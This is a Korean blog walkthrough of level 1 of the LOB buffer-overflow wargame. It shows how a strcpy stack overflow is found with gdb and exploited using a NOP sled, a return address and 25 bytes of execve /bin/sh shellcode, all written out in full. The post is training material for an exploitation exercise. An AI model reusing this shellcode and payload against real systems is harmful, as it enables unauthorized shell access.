반응형


LOB의 1번 Gate문제입니다.

소스를 보시면 strcpy로 인해 오버플로우가 남을 알 수 있습니다.



setuid가 걸려있으므로 gdb로 디버깅을 할 수 없으므로

임시폴더로 복사를 해 디버깅 할 수 있습니다.



main의 어셈블리 코드입니다.

처음에는 AT&T 문법이 적용되어 있지만

set disassembly-flavor intel

이라는 명령어를 통해 intel 문법으로 바꿔줄 수 있습니다.


main+54 에 있는 strcpy의 인자를 보시면 ebp-256번째부터 값이 들어가므로

"\x90"*100+ShellCode(25byte)+"A"*131+SFP+RET

이런 형식으로 값을 전달하면 됩니다.

gdb를 통해 버퍼의 주소 값을 알아내 보겠습니다.



argv1 의 값으로 "A"를 넣어주고 실행시켰습니다.

위 그림은 strcpy를 실행한 직후이며

ESP가 지정하고 있는 부분을 덤프한 것입니다.


이로써 Return 주소는 0xbffff918 임을 알 수 있습니다.

결과적으로 PayLoad는


"\x90"*100+ShellCode(25byte)+"A"*135+"\x18\xf9\xff\xbf" 


ShellCode 

\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

이때 주의하실 점은 LOB는 기본으로 bash1을 사용하는데

"\xff"를 NULL로 인식한다는 버그가 있으므로

커멘드로 chsh -s /bin/bash2를 입력해 사용하시길 바랍니다.



'Pwnable > LOB' 카테고리의 다른 글

LOB 6. Wolfman  (0) 2015.09.25
LOB 5. Orc  (0) 2015.09.23
LOB 4. Goblin  (0) 2015.09.20
LOB 3. Cobolt  (0) 2015.09.17
LOB 2. Gremlin  (0) 2015.09.12

+ Recent posts